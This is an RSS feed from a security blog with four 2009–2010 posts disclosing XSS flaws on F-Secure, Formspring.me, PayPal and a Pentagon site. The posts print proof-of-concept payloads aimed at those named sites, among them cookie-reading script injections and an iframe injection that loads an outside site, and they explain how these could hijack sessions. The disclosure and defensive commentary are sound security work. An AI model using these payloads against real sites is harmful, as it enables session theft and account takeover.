<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Praetorian Prefect &#187; Cross Site Scripting</title>
	<atom:link href="http://praetorianprefect.com/archives/category/cross-site-scripting/feed/" rel="self" type="application/rss+xml" />
	<link>http://praetorianprefect.com</link>
	<description>Information security, a little slower...a little deeper</description>
	<lastBuildDate>Thu, 29 Jul 2010 16:38:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>F-Secure XSS on Anti-Theft Website</title>
		<link>http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 20:19:24 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[f-secure]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4247</guid>
		<description><![CDATA[In a new section supporting the release of an anti-theft product for mobile phones, the web site of Helsinki based anti-virus company F-Secure is vulnerable to cross site scripting (XSS).]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/F-secure_Logo.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/F-secure_Logo-150x150.png" alt="" title="F-secure_Logo" width="75" height="75" class="alignleft size-thumbnail wp-image-4249" /></a></p>

<p>In a new section supporting the release of an anti-theft product for mobile phones, the web site of Helsinki based anti-virus company F-Secure is vulnerable to cross site scripting (XSS).</p>

<h3>XSS String</h3>

<p>A hidden form field reflects values from a name value pair (hidManufacturer in this case) from the URL.</p>

<p><b>Attack URL:</b></p>

<pre><code>http://www.f-secure.com/en_EMEA/products/mobile/anti-theft-download/anti-theft-download-
wizard.html?hidManufacturer=%27%22%3E%3C/title%3E%3Cscript%3Ealert%28/Mikko%20rulz/%29%3C
/script%3E
</code></pre>

<p><b>First reflection of URL XSS name-value pair:</b></p>

<pre><code>&lt;input type="hidden" name="hidManufacturer" id="hidManufacturer" value="\'\&amp;quot;&amp;gt;&amp;lt;\/title&amp;gt;&amp;lt;
script&amp;gt;alert(\/Mikko rulz\/)&amp;lt;\/script&amp;gt;"/&gt;&lt;/p&gt;
</code></pre>

<p>But nothing happens on this reflection because much of what is passed in the URL (the bracket and quote characters) is encoded as &amp;quote, &amp;gt, &amp;lt on the output of the page. This is generally recognized as <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet#RULE_.231_-_HTML_Escape_Before_Inserting_Untrusted_Data_into_HTML_Element_Content">a right practice</a> to avoid many forms of cross site scripting attacks on web pages.</p>

<p>Unfortunately a Javascript later in the page is referencing the passed in string without any of the same encoding.</p>

<p><b>Second reflection in the page of the same value:</b></p>

<pre><code>&lt;script type="text/javascript"&gt;
    document.getElementById(''"&gt;&lt;/title&gt;&lt;script&gt;alert(/Mikko rulz/)&lt;/script&gt;').setAttribute("class", 
"selected");
    document.getElementById(''"&gt;&lt;/title&gt;&lt;script&gt;alert(/Mikko rulz/)&lt;/script&gt;').setAttribute("className", 
"selected");
&lt;/script&gt;
</code></pre>

<p><div id="attachment_4250" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/fsecure_xss1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/fsecure_xss1.jpg" alt="" title="fsecure_xss" width="750" height="577" class="size-full wp-image-4250" /></a><p class="wp-caption-text">A Javascript reflects values unencoded from a name value pair in the URL.</p></div>
<br /></p>

<h3>Finally</h3>

<p>The Mikko reference is to Mikko Hypponen, the well known Chief Research Officer at F-Secure. The defect was <a href="http://www.xssed.com/mirror/67259/">submitted to XSSED</a> by Xylitol. At a glance this appears to be the first new web site specific problem with the main F-Secure web site (country specific versions have had issues) since the F-Secure forum defacement <a href="http://zone-h.org/mirror/id/6923295">in 2007</a>.</p>

<p>Reflected cross site scripting attacks are on the low end of the scale when it comes to web application vulnerabilities, however they can be used effectively in phishing style attacks (ex: here is a URL to F-Secure, but I will attempt to steal a user session, redirect the user, serve them malware, etc. based on being able to execute a script as the F-Secure web site). As always it behooves a security company to correct problems like this fairly quickly, and F-Secure clearly knows what to do already since they&#8217;re using output encoding in one part of the page already.</p>

<h3>Update 06/8/2010</h3>

<p>The problem was corrected quickly, and <a href="http://www.f-secure.com/weblog/archives/00001972.html">the issue explained</a> competently by Mikko, as expected.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/">Formspring.me XSS Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/">XSS Flaw on PayPal.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">Pentagon Web Site Vulnerabilities Identified</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Formspring.me XSS Vulnerability</title>
		<link>http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/#comments</comments>
		<pubDate>Fri, 04 Jun 2010 02:46:32 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3922</guid>
		<description><![CDATA[Formspring.me, a newly popular social networking site, has a fundamental cross site scripting flaw that allows one logged in user to steal another user’s session, but also may allow users to find out who posted a nasty comment about them.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring.gif" alt="" title="formspring" width="136" height="120" class="alignleft size-full wp-image-3925" /></a></p>

<p>Formspring.me, a newly popular social networking site, has a fundamental cross site scripting flaw that allows one logged in user to steal another user&#8217;s session, but also may allow users to find out who posted a nasty comment about them. A key complaint about the site is that you can not find out the identity of an anonymous user.</p>

<p><i>Update</i>: Kudos to Formspring.me, even though it was hard to initially report the problem, they corrected it in about an hour from opening a post on their technical support forum, a nice turnaround by any standard.</p>

<h3>Formspring.me</h3>

<p>Formspring.me is a six month old social networking question and answer site. The web site has come under scrutiny following a few recent news stories involving incidents with teenagers, the site&#8217;s primary demographic. The first notable incident was where <a href="http://www.whtm.com/news/stories/0210/707982.html">a fight broke out</a> over comments on the site. More notably, however, is the story of Alexis Pilkington, a 17 year old West Islip, NY High School graduate who <a href="http://www.newsday.com/long-island/suffolk/after-teen-s-death-3-800-pledge-web-site-boycott-1.1829354">committed suicide after dozens of insulting comments</a> had been made to her on the site.</p>

<p>From comments on the site, these are not isolated incidents, and its fairly clear Formspring needs to come up with a better model:</p>

<p><i>Is it possible for you to delete an account for harrassment if the posts were anonymously posted? I received 18 threats last night that I followed up with a police report to my local PD. I have the police report number, as of yet I have not deleted my account so that if you needed to access it to see the post you could. Please advise.</i></p>

<p><i>I need to know how to go about finding out who send a message to my daughter&#8217;s account. The message says.. that she would be better off dead.</i></p>

<p><i>I would appreciate it if Formspring will work with our local Santa Barbara Police Department and the Santa Barbara Sheriff Department to find the person that was impersonating my daughter.</i></p>

<p>Such problems have led to various organized boycotts, letters home from school officials, and coverage under the topic of cyber-bullying in a number of news outlets.</p>

<h3>The Big Issue People Have</h3>

<p>One of the primary complaints about the web site is the anonymity of questioners. Hiding behind the veil of anonymity has allowed, mostly teenagers, to make nasty remarks to each other they would probably not make under their own names (although frankly the Internet is a wild place). Largely as a result of this, a good deal of time has been spent trying to figure out a way to determine: &#8220;who said that about me?&#8221;. That is at least according to the articles <a href="http://www.northjersey.com/news/95486479_Anonymous_cyber-taunts_leave_lasting_wounds_on_kids.html">I&#8217;ve been reading</a>. Formspring won&#8217;t help you with anonymous questions, as it states in <a href="http://formspringme.zendesk.com/entries/93852-can-you-tell-me-who-asked-me-an-anonymous-question">their support forums</a></p>

<p>But here&#8217;s an answer to that question, or at least a method: a way to grab another user&#8217;s session only knowing user name because of a web site vulnerability present in the Formspring web site.</p>

<ol>
<li><p>We have two users: Tester21 and Tester25. Since they have such close names, they&#8217;ve decided to follow each other using the site&#8217;s People->Find People and Follow functions.</p></li>
<li><p>Tester 25 goes to www.formspring.me and asks Tester21 a question:
<div id="attachment_3927" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring_1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring_1.gif" alt="" title="formspring_1" width="700" height="561" class="size-full wp-image-3927" /></a><p class="wp-caption-text">Ask another user a question.</p></div>
<br /></p></li>
<li>But that&#8217;s kind of boring, so Tester25 asks a better question: </li>
</ol>

<pre><code>&lt;script&gt;alert(document.cookie);&lt;/script&gt;
</code></pre>

<p>4.  Tester21 logs in and sees he has a question:
<div id="attachment_3928" class="wp-caption alignnone" style="width: 636px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring2.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring2.gif" alt="" title="formspring2" width="626" height="409" class="size-full wp-image-3928" /></a><p class="wp-caption-text">Malicious script, dutifully encoded by Formspring.me.</p></div>
<br />
Immediately he see&#8217;s that this isn&#8217;t a question. Formspring has done a good job for him, because rather than allow this malicious script to execute, they have encoded parts of the output as shown:</p>

<pre><code>&lt;a href="#" rel="question"&gt;
&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/a&gt;
&lt;span class="askedBy"&gt;asked by &lt;a href="http://www.formspring.me/tester25" rel="profile"&gt;tester25&lt;/a&gt;
</code></pre>

<p>5.  Glad Formspring has protected him from revealing his session cookie by properly encoding output, Tester21 makes a note to drop that loser Tester25 from his Follow list and clicks Home:</p>

<div id="attachment_3929" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring3.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring3.gif" alt="" title="formspring3" width="750" height="595" class="size-full wp-image-3929" /></a><p class="wp-caption-text">The home screen preview executes the Javascript.</p></div>

<h3>What Happened?</h3>

<p>A preview function on the home page shows the user the last pending question they&#8217;ve received. If its the one that is the cross site scripting string, the script executes. In this case its only the classic alert box demonstration, but anything that can be accomplished with Javascript is possible.</p>

<h3>Another Random Issue</h3>

<p>It appears formspring.me actually logs users in as someone else sometimes without any interaction, as evidenced by <a href="http://formspringme.zendesk.com/entries/187720-logging-into-other-peoples-pages">this user complaint</a>:</p>

<p><i>Hi, everytime i want to go to my home page or feeds on my friends answered questions, i keep going to random people&#8217;s homepage or their feeds, anyway i can fix this?</i></p>

<h3>Why is Disclosure this Difficult?</h3>

<p>After numerous attempts to sign up for the Support section of the site so we could notify Formspring of this defect, we finally just posted an issue in their Technical Support forum as the notification. They need to think about adding a screen or e-mail address for reporting security issues, ala Twitter and other sites.</p>

<h3>Finally</h3>

<p>So assuming someone is acting as an anonymous user, but has given more information in their profile (e-mail, etc.) then the person who wants to know who they are could send them a variation of the &#8220;poison question&#8221; above that steals that user&#8217;s session (likely this would involve sending the user&#8217;s cookies to another web site, having a script running there that grabs the cookies and perhaps logs in in as that user and changes the user&#8217;s password which essentially takes over the account). From taking over the account the attacker gains access to any information filled out in the profile (could be nothing if Anonymous uses dummy information and an anonymous e-mail) and can post and answer questions as that user.</p>

<p>Additionally by searching out people making use of the Formspring widget, you don&#8217;t even really need to be a Formspring user yourself to post the XSS string to a Formspring user&#8217;s account.</p>

<p>The problem above is magnified in that many users connect their Formspring accounts to Facebook and Twitter (meaning a person who has taken over the account can then post messages to these other two social networking services).</p>

<p>In terms of actual impact, its unclear that user&#8217;s would have any truly sensitive information available in their profiles, making information disclosure a low risk (assumes the user didn&#8217;t post sensitive information themselves). Birthday and e-mail are probably the only two fields that could be considered user confidential. So the primary issue is session hijacking. Is it a big deal? It probably is not, other social networking sites had similar issues in their first six months of existence, it is just something that should be corrected.</p>

<p>As for Formspring itself, and the issues people are having with anonymous users, this is probably worthy of its own blog post. There are a number of sites that allow anonymous comments to be posted, and the web is famous for snarks and nastiness in online comments. That said, having experienced these problems so publicly, and being a web site that is used primarily by young people, Formspring would be best advised to remove the anonymous question capability to avoid libel, cut down on police investigations, and get itself out of the negative press for a while. Call it the price of being popular.</p>

<p>A special thanks to <a href="http://www.twitter.com/ethicalhack3r">ethicalhack3r</a> for bouncing some ideas around.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/">F-Secure XSS on Anti-Theft Website</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/">XSS Flaw on PayPal.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">Pentagon Web Site Vulnerabilities Identified</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>XSS Flaw on PayPal.com</title>
		<link>http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 22:13:42 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[pci]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3582</guid>
		<description><![CDATA[Earlier today Wesley Kerfoot reported on the Full Disclosure mailing list that a page in the Paypal.com domain is susceptible to a non-persistent reflected cross site scripting attack (XSS). While non-persistent XSS bugs are somewhat common, this is quite serious for a site like PayPal, where user accounts are linked directly to bank accounts, debit, or credit cards and payment can be made to third parties without any additional authentication after user access is gained.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_logo.jpg" alt="paypal_logo" title="paypal_logo" width="119" height="119" class="alignleft size-full wp-image-3584" /></a></p>

<p>Earlier today Wesley Kerfoot reported on the Full Disclosure mailing list that a page in the Paypal.com domain is susceptible to a non-persistent reflected cross site scripting attack (XSS). While non-persistent XSS bugs are somewhat common, this is quite serious for a site like PayPal, where user accounts are linked directly to bank accounts, debit, or credit cards and payment can be made to third parties without any additional authentication after user access is gained.</p>

<p><i>Update: As of 7pm EST, it appears that a mitigation has been implemented for this vulnerability on the PayPal web site where all requests to /xclick/business redirect to the PayPal homepage.</i></p>

<p>An attacker able to trick a user with a valid Paypal session into clicking a crafted version of the link below  (wouldn&#8217;t be hard, think a link on an eBay auction listing or a phishing e-mail for example) could hijack the user&#8217;s session and initiate financial transactions on their behalf including money transfers. Alternatively this legitimate URL could be used to redirect the user to a spoofed PayPal web site designed to steal user credentials, which is a fairly common scam except in this case more effective as the user would see an actual PayPal URL to click on.</p>

<h3>Attack String</h3>

<p>The following string is provided as example in the Full Disclosure posting:</p>

<pre><code>https://www.paypal.com/xclick/business=&lt;script&gt; alert("xss"); &lt;/script&gt;
</code></pre>

<p>Which in turn results in this:</p>

<p><div id="attachment_3586" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_xss.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_xss.jpg" alt="Javascript injected as part of a name-value pair is reflected on the resulting web page." title="paypal_xss" width="750" height="780" class="size-full wp-image-3586" /></a><p class="wp-caption-text">Javascript injected as part of a name-value pair is reflected on the resulting web page.</p></div>
<br /></p>

<p>Of course where this works, this will just as easily work:</p>

<pre><code>https://www.paypal.com/xclick/business=&lt;script&gt; alert(document.cookie); &lt;/script&gt;
</code></pre>

<p>Which dutifully reflects back wrapped in a header tag on the resulting page:</p>

<pre><code>&lt;div class="legacyErrors " id="page"&gt;
&lt;div id="header"&gt;&lt;h1&gt;&lt;script&gt; alert(document.cookie); &lt;/script&gt;&lt;/h1&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;div id="content"&gt;
&lt;div id="headline"&gt;
</code></pre>

<p>And finally which displays the user&#8217;s logged in session information:</p>

<p><div id="attachment_3587" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_cookie.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/paypal_cookie.jpg" alt="The result of injecting alert(document.cookie) into the same page for a logged in PayPal user." title="paypal_cookie" width="750" height="101" class="size-full wp-image-3587" /></a><p class="wp-caption-text">The result of injecting alert(document.cookie) into the same page for a logged in PayPal user.</p></div>
<br /></p>

<p>Rather then displaying the cookies, the attacker would redirect the information to another web site, set them locally as his session, and begin to initiate transactions on the part of the user. This is only one example, since Javascript can be executed in the context of the PayPal web site, the attacker could write a script to do just about any action on the site that is possible using Javascript, Flash, etc.. Site redirects, iFrame injection, and even other injection flaws are possible on a web page that does not validate untrusted input.</p>

<h3>XSS at a High Level</h3>

<p>While the definition is ever expanding, XSS attacks are generally considered a type of injection problem where malicious input is injected into an otherwise trusted web page causing an unexpected behavior such as sending data to or from an unknown third party web site (cross site). Because the script is being run in the context of the trusted web site, it has access to cookies such as session tokens, as well as any other user information available within the security context of that web site. XSS vulnerabilities are somewhat common in web applications and will occur unfettered wherever untrusted input is not validated by the web application or encoded before output back to the user.</p>

<h3>PayPal</h3>

<p>The San Jose based company is owned by eBay and has more than 78 million customer accounts. As such the service is used to clear many of the transactions on the popular auction site. The service allows users to send money without needing to share financial information, a key enabler for sending and receiving money from third parties on the Internet. They are in some 190 markets around the world and can work with 19 different currencies.</p>

<p>In 2008 roughly $60 billion dollars moved through Paypal&#8217;s systems.</p>

<p>Paypal does make available additional authentication protection in the form of <a href="https://www.paypal.com/cgi-bin/webscr?cmd=xpt/Marketing_CommandDriven/securitycenter/PayPalSecurityKey-outside">a one time password token</a> called a &#8217;security key&#8217; by them (similar to the ones made popular by RSA). The token costs five dollars and is available to residents of Australia, Germany, Canada, the United Kingdom and the United States. Paypal however allows a bypass of this hard token by allowing the user to enter further information such as credit card or bank number, severely impacting its effectiveness as a security measure.</p>

<p>Further authentication &#8220;on the front door&#8221; of the web site (the login screen) does not prevent a user session from being hijacked after authentication as is possible in a cross site scripting attack like this one.</p>

<h3>PCI Compliance</h3>

<p>Of note is that PayPal does claim PCI compliance, involving the following activities <a href="https://www.paypal.com/pcicompliance">in their words</a>:</p>

<ul>
<li>Maintain a vulnerability management program</li>
<li>Pass quarterly remove vulnerability scans</li>
</ul>

<p>The wording on that second bullet from the PayPal site is a little strange, we assume it means to pass vulnerability scans that validate whether earlier problems identified by previous scans were removed.</p>

<p>The attack string above is basic enough that it would or should be tested and picked up as a vulnerability by the most rudimentary web scanners available, throwing the validity of any scanning being done into question. Actual credit card data is displayed in an obfusticated manner on the Profile section of the web site (only the last four digits show up on the site), so the site may be considered out of scope of a PCI required scan?</p>

<p>The digital certificate of the scanalert.com URL, a redirect to the McAfee service PayPal provides to its business customers at no cost for a year, has a bad digital certificate.</p>

<h3>Finally</h3>

<p>Generally users can apply for refunds from PayPal when an account has been broken into, but like any other service there are <a href="http://www.paypalsucks.com">a share of horror stories</a>. In general a site such as this should <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">escape all output</a> that originates from untrusted sources, with the variety of possible attack strings this is not full proof but is a significant mitigation against injection attacks. This is not PayPal&#8217;s first brush with this problem, <a href="http://www.channelregister.co.uk/2008/05/16/paypal_page_succumbs_to_xss/">last year a similar issue</a> was identified by Harry Sintonen. As PayPal is, for many users of eBay and other online services, the only payment game in town (the only one which a seller will use to collect payment) this type of issue needs to be corrected fairly quickly in a comprehensive manner (a site wide change to introduce web vulnerability scanning, escape all user provided input when outputted, and/or validation of all user provided input ideally).</p>

<h3>References</h3>

<ul>
<li><a href="http://seclists.org/fulldisclosure/2010/Mar/486">Full Disclosure &#8211; Paypal XSS Vulnerability</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/">F-Secure XSS on Anti-Theft Website</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/">Formspring.me XSS Vulnerability</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">Pentagon Web Site Vulnerabilities Identified</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Pentagon Web Site Vulnerabilities Identified</title>
		<link>http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/</link>
		<comments>http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 01:12:55 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[pentagon]]></category>
		<category><![CDATA[Romania]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=2047</guid>
		<description><![CDATA[A Romanian hacker has on December 6th identified input validation deficiencies in URL parameter handling leading to security vulnerabilities on a section of the official site of the Pentagon, <a href="http://pentagon.afis.osd.mil">http://pentagon.afis.osd.mil</a>, the headquarters of the U.S. Department of Defense. The hacker who identifies himself as Ne0h has posted images of the vulnerabilities, which are still active at the time of this blog post, <a href="http://ne0h.baywords.com/2009/12/06/pentagon/">on his blog</a>.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/pentagon-logo.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/pentagon-logo.gif" alt="pentagon-logo" title="pentagon-logo" width="65" height="75" class="alignleft size-full wp-image-2052" /></a></p>

<p>A Romanian hacker has on December 6th re-identified previously discovered input validation deficiencies in URL parameter handling leading to security vulnerabilities on a tour images section of the official web site of the <a href="http://pentagon.afis.osd.mil">Pentagon</a>, the headquarters of the U.S. Department of Defense. The hacker who identifies himself as Ne0h has posted images demonstrating the vulnerabilities, which are still active at the time of this blog post, <a href="http://ne0h.baywords.com/2009/12/06/pentagon/">on his blog</a>.</p>

<p>The vulnerabilities themselves are caused by weak validation of name value pairs being received by the browser in a photo album application on the Pentagon web site.  The normal page, <a href="http://pentagon.afis.osd.mil/tours-photos.html">seen here</a>, loads pictures of past tours of the Pentagon. The entire web site is largely on online brochure for the Pentagon, and does not appear to host sensitive data or allow users to make sensitive requests, making the risk profile of the site low. Ne0h actually rediscovered vulnerabilities first identified back in April by XaDoS and <a href="http://xssed.com/mirror/60019/">posted on the XSSed project</a>.</p>

<h3>Cross Site Scripting</h3>

<p>The attack string that follows shows the inclusion of a Javascript that will reflect back once the tours page is returned to the browser. The special characters in the script are URL encoded. The script calls the alert function, which will pop up a window. The inclusion of document.cookie will cause all cookies the user has set for that web site to show up in the alert box. This attack is an example of a non-persistent or a reflected cross site scripting vulnerability.</p>

<p><b>XSS String</b></p>

<pre><code>http://pentagon.afis.osd.mil/tours?action=viewLargePhoto&amp;title=1%3E%22%3E%3CScRiPt%20%0A
%0D%3Ealert%28document.cookie%29%3B%3C/ScRiPt%3E
</code></pre>

<p><b> XSS String, XaDos example:</b></p>

<pre><code>http://pentagon.afis.osd.mil/tours?action=viewLargePhoto&amp;title=group-SgtMaj.jpg%22%3E%3E!-^^%3E%3Csc
ript%3Ealert(%27XaDoS%27)%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
</code></pre>

<div id="attachment_2055" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/xss_stealcookie.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/xss_stealcookie-300x233.jpg" alt="XSS document.cookie request" title="xss_stealcookie" width="300" height="233" class="size-medium wp-image-2055" /></a><p class="wp-caption-text">XSS document.cookie request</p></div>
<br /></p>

<p>The code is reflected back in the returned HTML:</p>

<pre><code>    <!--* * * * * * * * Main Content * * * * * * * *-->
    &lt;div id="content_1column"&gt;
        &lt;div id="content_main"&gt;
            &lt;h2&gt;Tours&lt;/h2&gt;
            &lt;h3&gt;Photo Gallery&lt;/h3&gt;
                &lt;div id="galleryPhotoLg"&gt;

                    &lt;img src="images/largePhotos/1&gt;"&gt;&lt;ScRiPt 

&gt;alert(document.cookie);&lt;/ScRiPt&gt;" width="650" height="480" alt="Image Gallery"  /&gt;
               &lt;/div&gt; 
</code></pre>

<p>The Pentagon web site is showing a JSESSIONID, a cookie format used in Java web applications, however the site does not appear to maintain user session, so it is likely a tracking cookie or unused. If cookie theft (of a valuable cookie) is out though, there are still problems including site redirect and related Javascript based manipulations possible with this vulnerability. An example for further exploration would be <a href="http://skeptikal.org/repository/one_in_every_family.pdf">attempting some manner of cross subdomain cookie attack</a> as the afis.osd.mil (AFIS is the American Forces Information Service) hosts a number of Department of Defense web properties, some of which may maintain user session or host more sensitive data than the brochureware type site the Pentagon is hosting.</p>

<h3>iFrame Injection</h3>

<p>The second proof of concept demonstrates an iFrame inclusion vulnerability. An iFrame is an element in an HTML page that is loaded and refreshed as a separate page, but loads under the original page. In this example, an attacker can load content from outside the Pentagon web site, but serve it to the user as part of the Pentagon web site (malicious software and so forth) in a provided URL.</p>

<p><b>iFrame Inclusion String</b></p>

<pre><code>http://pentagon.afis.osd.mil/tours?action=viewLargePhoto&amp;title=1%22%3E%3Ciframe%20src=

http://ne0h.baywords.com%3E%3C/iframe%3E

</code></pre>

<p><div id="attachment_2060" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/iframe_inclusion.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/iframe_inclusion-300x233.jpg" alt="iFrame loads another web site (Ne0h&#039;s blog in this case)." title="iframe_inclusion" width="300" height="233" class="size-medium wp-image-2060" /></a><p class="wp-caption-text">iFrame loads another web site (Ne0h's blog in this case).</p></div>
<br /></p>

<h3>Ne0h</h3>

<p><div id="attachment_2053" class="wp-caption alignleft" style="width: 210px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/12/gh.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/12/gh.gif" alt="Global Hell - We are your armageddon." title="gh" width="200" height="133" class="size-full wp-image-2053" /></a><p class="wp-caption-text">Global Hell - We are your armageddon.</p></div>

<p>It is an interesting handle for a hacker or cracker, as its already taken by a <a href="http://attrition.org/news/content/99-06-19.001.html">Canadian hacker</a> who was a member of gLobalHell, a group responsible for a number of <a href="http://attrition.org/mirror/attrition/ghell.html">well known defacements</a> and break ins including the systems of the White House, U.S. Army, and the U.S. Postal Service. I guess we could call his handle an homage.</p>

<p>This Ne0h has demonstrated vulnerabilities of other web sites successfully including a SQL injection on two MTV properties called <a href="http://www.mtvphil.com">MTV Philippines</a> and <a href="http://www.mtvindia.com">MTV India</a> using the Pangolin SQL injection testing tool and XSS (cross site scripting) vulnerabilities on TinaTurnerlive.com and Logitech.com. He has also demonstrated successfully vulnerabilities in the web site of the Romanian police.</p>

<h3>Baywords, The Choice of Romanian Hackers?</h3>

<p>We are noticing now a couple of these folks using Baywords, a blogging platform known for this raison d&#8217;etre:</p>

<p><i>Over a year ago, a friend of ours got his blog closed by Wordpress for violation of TOS. Essentially he got blocked because he linked to material that could lead to maybe a download of something that you might not have paid for. We became very upset and decided to open Baywords!</i></p>

<p>The authors whose blogs we&#8217;re linking to like Baywords for this reason:</p>

<p><i>Baywords is now back again, and we’re not taking any details on the users. As long as it’s legal to write, we won’t close down your blog. We will not give out any information, IPs or anything else — that data is deleted when no longer needed.</i></p>

<p>No condemnation, we&#8217;ve just noticed Baywords showing up more often in these situations. If it is not on BayWords however, it would just be somewhere else.</p>

<h3>Finally</h3>

<p>At the time of writing, these vulnerabilities are still active, which makes this nearly nine months of being open (credit Mike Bailey for pointing this out). If not patched, the Pentagon web site may be used as part of other web based attacks via redirection using URL&#8217;s sent to a user that appear to be for the Pentagon web site. This type of XSS vulnerability, a reflected XSS vulnerability, is fairly common in web applications and does not have as large an impact as other input validation problems. A high profile site such as that of the Pentagon should close it out though. The Pentagon and other DOD entities have a reputation interest in appearing to be highly competent in securing their infrastructure. If there was no other reason to search out and correct common low hanging fruit web site vulnerabilities (there are of course), this would be enough of a reason.</p>

<h3>Update 1:</h3>

<p>This exact vulnerability continues to be pointed out, this time in October. The earliest reference we identified is still in April from the XSS&#8217;d Project.</p>

